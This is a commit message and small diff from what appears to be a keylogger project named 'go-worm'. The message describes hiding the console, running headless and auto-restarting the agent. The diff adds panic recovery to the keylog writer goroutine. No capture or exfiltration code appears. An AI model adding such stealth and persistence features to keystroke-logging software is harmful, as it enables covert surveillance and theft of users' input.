refactor(core): add headless run and auto-restart

- Run without console by default
- Log to file once console hidden
- Recover panics in background goroutines
- Restart agent after unexpected errors
- Use shared instance launch helper

lib/keylog/keylog.go

@@ -4,6 +4,7 @@ import (
 	"sync"
 
 	"tea.chunkbyte.com/kato/go-worm/lib/config"
+	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
 )
 
 var (
@@ -44,6 +45,7 @@ func Start() error {
 	writerWG.Add(1)
 	go func() {
 		defer writerWG.Done()
+		defer helpers.RecoverLog("keylog-writer")
 		for {
 			select {
 			case event := <-events: